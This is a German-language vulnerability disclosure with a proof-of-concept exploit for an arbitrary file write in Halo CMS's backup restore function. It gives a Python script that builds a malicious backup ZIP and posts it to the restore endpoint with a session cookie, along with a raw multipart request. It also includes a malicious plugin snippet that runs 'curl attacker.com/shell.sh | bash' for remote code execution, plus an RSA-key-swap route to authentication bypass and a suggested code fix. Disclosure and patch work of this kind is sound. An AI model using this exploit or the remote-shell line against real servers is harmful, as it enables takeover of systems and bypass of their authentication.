
Proof-of-Concept-Exploit für eine Schwachstelle mit beliebigem Dateischreiben bei der Backup-Wiederherstellung von Halo CMS, die RCE über den Austausch von Plugin-JARs oder die Umgehung der Authentifizierung ermöglicht.
Eine kritische Schwachstelle für beliebiges Schreiben von Dateien existiert in der Backup-Wiederherstellungsfunktion von Halo CMS bis Version 2.25.4. Die Methode restoreWorkdir() in MigrationServiceImpl.java kopiert das Verzeichnis workdir/ aus einem vom Benutzer bereitgestellten Backup-Archiv direkt in das Arbeitsverzeichnis der Halo-Anwendung (~/.halo2/), ohne jegliche Validierung von Dateitypen, Schutz vor Pfad-Traversal oder Prüfung auf symbolische Links. Ein authentifizierter Angreifer mit Backup-Verwaltungsrechten kann eine bösartige Backup-ZIP-Datei erstellen, die beliebige Dateien im Verzeichnis workdir/ enthält, welche bei der Wiederherstellung in das Arbeitsverzeichnis des Servers geschrieben werden, was möglicherweise zu Remote Code Execution (RCE) durch Plugin-JAR-Austausch oder Authentifizierungsumgehung durch RSA-Schlüsselaustausch führt.
CVSS v3.1-Wert: 8.8 (Hoch)
CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-73 (Externe Kontrolle von Dateinamen oder Pfaden)
Die Schwachstelle befindet sich in der Methode restoreWorkdir() von MigrationServiceImpl.java (Zeilen 230-243):
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // VERWUNDBARE ZEILE
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
Die Methode copyRecursively() (Springs FileSystemUtils) führt eine rekursive Kopie ohne Folgendes durch:
..-Sequenzen in DateinamenDie Schwachstelle wird über den Backup-Wiederherstellungs-Endpunkt ausgelöst:
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
Der Wiederherstellungsprozess folgt dieser Abfolge:
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → ZIP in temporäres Verzeichnis extrahieren │
│ 2. restoreExtensions() → extensions.data wiederherstellen │
│ 3. restoreWorkdir() → workdir/ nach ~/.halo2/ kopieren │
│ ↑ Beliebige Dateien werden in das Arbeitsverzeichnis geschrieben │
└─────────────────────────────────────────────────────────────┘
Eine bösartige Backup-ZIP-Datei muss Folgendes enthalten:
malicious-backup.zip
├── extensions.data # Erforderlich: Kann leer sein oder gültiges JSONL enthalten
└── workdir/ # Erforderlich: Inhalt wird nach ~/.halo2/ kopiert
├── PWNED_BY_POC.txt # Proof-of-Concept-Markierungsdatei
├── plugins/ # Plugin-JARs für RCE
│ └── evil-plugin.jar # Bösartiges Plugin
└── keys/ # RSA-Schlüssel für Authentifizierungsumgehung
├── pat_id_rsa # Bösartiger privater Schlüssel
└── pat_id_rsa.pub # Bösartiger öffentlicher Schlüssel
Die Datei extensions.data muss gültig sein, damit restoreExtensions() erfolgreich ist. Gültige Formate umfassen:
Leere Datei: (leerer Inhalt)
Leere Zeile: \n (nur Zeilenumbruch)
Gültiges JSONL: Ein ExtensionStore-Objekt pro Zeile:
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
Wobei data base64-kodierter Inhalt ist.
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# Leere extensions.data (besteht die restoreExtensions-Validierung)
zf.writestr('extensions.data', '\n')
# Beliebige Datei, die nach ~/.halo2/ geschrieben wird
zf.writestr('workdir/PWNED_BY_POC.txt',
'Beliebiges Schreiben von Dateien bestätigt!')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
Frontend-Backup-Verwaltungsadresse: http://ip:port/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<ZIP-Datei-Binärinhalt>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# Auf dem Halo-Server
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

~/.halo2/ schreiben| Angriffsvektor | Zieldatei | Auswirkung | Schweregrad |
|---|---|---|---|
| Plugin-JAR-Austausch | ~/.halo2/plugins/*.jar | Remote Code Execution | Kritisch |
| RSA-Schlüsselaustausch | ~/.halo2/keys/pat_id_rsa | Authentifizierungsumgehung | Kritisch |
| Theme-Austausch | ~/.halo2/themes/* | Gespeichertes XSS | Hoch |
| Konfigurationsüberschreibung | ~/.halo2/*.yaml | Umgehung von Sicherheitskontrollen | Hoch |
Ein Angreifer kann ein legitimes Plugin-JAR durch ein bösartiges ersetzen, das Folgendes enthält:
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// Beliebigen Befehl ausführen
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
Wenn das Plugin geladen wird, wird der bösartige Code mit den Rechten des Halo-Prozesses ausgeführt.
#!/usr/bin/env python3
"""
Halo CMS Backup-Restore-PoC für beliebiges Schreiben von Dateien
Schwachstelle: Backup-Restore beliebiges Schreiben von Dateien
CVSS: 8.8 (Hoch)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'Halo Backup-Restore beliebiges Schreiben von Dateien bestätigt!')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"Status: {r.status_code}")
print(f"Antwort: {r.text[:300]}")
if r.status_code == 200:
print("\n[+] ERFOLG! Prüfen: cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()
# PoC ausführen
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# Auf dem Halo-Server
cat ~/.halo2/PWNED_BY_POC.txt
Validierung zur Methode restoreWorkdir() hinzufügen:
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// Kein Pfad-Traversal validieren
checkDirectoryTraversal(backupRoot, workdir);
// Keine symbolischen Links validieren
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("Symbolische Links nicht erlaubt");
}
return FileVisitResult.CONTINUE;
}
});
// Mit Validierung kopieren
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.javaDiese Offenlegung der Schwachstelle dient ausschließlich Forschungszwecken im Bereich der Sicherheit. Der Autor ist nicht verantwortlich für jeglichen Missbrauch dieser Informationen. Holen Sie immer die entsprechende Genehmigung ein, bevor Sie Systeme auf Schwachstellen testen.